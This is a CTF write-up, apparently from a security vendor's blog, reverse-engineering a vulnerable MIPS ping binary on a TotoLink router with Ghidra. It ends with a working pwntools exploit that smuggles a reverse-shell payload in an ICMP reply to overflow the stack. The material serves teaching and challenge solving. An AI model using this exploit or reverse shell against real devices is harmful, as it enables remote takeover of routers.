Reverse Engineering and Exploiting an IoT bug
At the beginning of November this year, in Buenos Aires, Argentina, Faraday had the privilege to be a sponsor of the EKOParty security conference. As other sponsors, we had to build a couple of challenges for the CTF.
Ours had six challenges, from web vulnerabilities to exploits in embedded devices. The particular thing about those challenges was that they were inside the cheapest router in the market: our lovely TotoLink N100RE.
This is the write-up for the hardest challenge, a bug in a bad implementation of a ping client anticipating the FreeBSD bug one month before. The buggy ping could be triggered from the web panel; the binary was delivered in advance among the libraries needed to run it.
The binary doesn’t have protections against memory corruptions’s bugs.
In every binary challenge we need to make the reversing of the file, for educational purposes we grabbed the entire session of the reverse engineering process. The idea behind this video is to demonstrate some of Ghidra’s features which could be very helpful when we don’t have the challenge’s source code, for example:
- change name and type of variables
- identify common calls to libc in mips binaries
- set the right type to structures
In most of the write-ups of CTF, reverse engineering concepts are taken for granted. This is a problem for newcomers unfamiliar with some basic concepts or If don’t have prior experience in this field. However, this will be different. In this video, we will take you through a step-by-step of our decompiling session using Ghidra. This step-by-step is helpful for any static reversing but is particularly functional for IoT binaries.
The restored code is almost compilable:
void sendPing(int sockfd,sockaddr_in *dest) { char *ipAddr; int ret; uint i; int optionValue; socklen_t addrlen; iphdr buffer; icmphdr icmphdrRecv; icmp packetICMP; sockaddr scrAddr; timespec res1; timespec res2; timeval optionValue2; optionValue = 0x40; ipAddr = (char *)inet_ntoa((dest->sin_addr).s_addr); optionValue2.tv_sec = 1; optionsValue2.tv_usec = 0; ret = setsockopt(sockfd,0,2,&optionValue,4); if (ret == 0) { setsockopt(sockfd,0xffff,0x1006,&optionValue2,8); bzero(&packetICMP,0x40); packetICMP.icmp_type = 8; packetICMP.icmp_hun.ih_idseq.icd_id = 0x1337; for (i = 0; i < 0x37; i = i + 1) { packetICMP.icmp_dun.id_data[i] = (char)i + '0'; } packetICMP.icmp_dun.id_data[i] = '\0'; packetICMP.icmp_hun.ih_idseq.icd_seq = 0; packetICMP.icmp_cksum = makeChecksum(&packetICMP,0x40); clock_gettime(1,&res1); ret = sendto(sockfd,&packetICMP,0x40,0,dest,0x10); if (ret < 1) { puts("Packet Sending Failed!"); } else { addrlen = 0x10; ret = recvfrom(sockfd,&buffer,0x200,0,&scrAddr,&addrlen); if (ret < 1) { puts("Packet receive failed!"); } else { clock_gettime(1,&res2); if ((icmphdrRecv.type == NULL) && (icmphdrRecv.code == NULL)) { printf("%d bytes from %s msg_seq=%d ttl=%d rtt = %lu ms.\n",0x40,ipAddr,1,optionValue, (res2.tv_sec - res1.tv_sec) * 1000 + (res2.tv_nsec - res1.tv_nsec) / 1000000); } else { printf("Error..Packet received with ICMP type %d code %d\n",icmphdrRecv.type, icmphdrRecv.code); } } } } else { puts("Setting socket options to TTL failed!"); } return; } int main(void) { int elements; int sockfd; int ret; sockaddr_in dest; byte first; byte second; byte third; byte fourth; elements = getenv("QUERY_STRING"); puts("Content-Type: text/plain;charset=us-ascii\n"); if (elements == 0) { puts("Bad request"); } else { elements = sscanf(elements,"ip=%hhu.%hhu.%hhu.%hhu",&first,&second,&third,&fourth); if (elements == 4) { sockfd = socket(2,3,1); if (sockfd < 0) { ret = puts("Socket file descriptor not received!!"); return ret; } setuid(1000); setgid(1000); dest.sin_family = 2; dest.sin_port = htons(0); dest.sin_addr.s_addr._0_1_ = first; dest.sin_addr.s_addr._1_1_ = second; dest.sin_addr.s_addr._2_1_ = third; dest.sin_addr.s_addr._3_1_ = fourth; sendPing(sockfd,&dest); } else { puts("Bad request"); } } return 0; }
This binary also had all the necessary files to run with Qemu as the team said in them twitter hint
In order to run successfully, the executable needs to receive the ip address of the target through the environment variable QUERY_STRING
$ sudo chroot . ./qemu-mips-static -E QUERY_STRING="ip=192.168.1.254" picar Content-Type: text/plain;charset=us-ascii 64 bytes from 192.168.1.254 msg_seq=1 ttl=64 rtt = 2 ms.
This will be useful later because we can debug the sample with a debugger as gdb.
The bug is in the recvfrom call which receives 0x200 bytes, the icmp response has a size lower than that, but if we manipulate the response, we could trigger a stack buffer overflow.
To achieve this goal we need to disabled the kernel response to the incoming icmp packets using sysctl
$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 net.ipv4.icmp_echo_ignore_all = 1
Sending 0x200 bytes in the body of the ICMP packet we could manipulate the return address and hijack the control flow taking advantage of the absence of ASLR.
Exploit
As the binary does not have Data Execution Prevention,, we jump directly to the stack in order to execute our payload directly using the following binary’s gadget
Here is the full version of the exploit building a reverse shell with the pwntools set
import socket from pwn import * from scapy.all import IP, ICMP, send context.update(arch='mips', endian='big', os='linux') max_size = 424 shellcode = asm( pwnlib.shellcraft.mips.linux.connect("192.168.0.3", 1337, network='ipv4') + pwnlib.shellcraft.mips.linux.dupsh(sock='$s0') ) payload = shellcode + b"a" * (max_size - len(shellcode)) + p32(0x00401018) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) p = IP(s.recv(256)) send(IP(src=p.dst, dst=p.src) / ICMP(type=0, code=0) / payload)
Related Posts
October 30, 2024
Back to basics: Security recommendations for your team
October is Cybersecurity Awareness Month, a time when we focus on ways to enhance security in our daily lives, both personally and, most…
October 24, 2024
Release v5.7.0
We’ve just released an update that brings significant improvements to Faraday, focusing on solving key challenges in vulnerability…
October 7, 2024
Maturity Models in Vulnerability Management: Where Are You At?
Since organizations differ in size, structure, and maturity, there are various vulnerability management models tailored to each. These…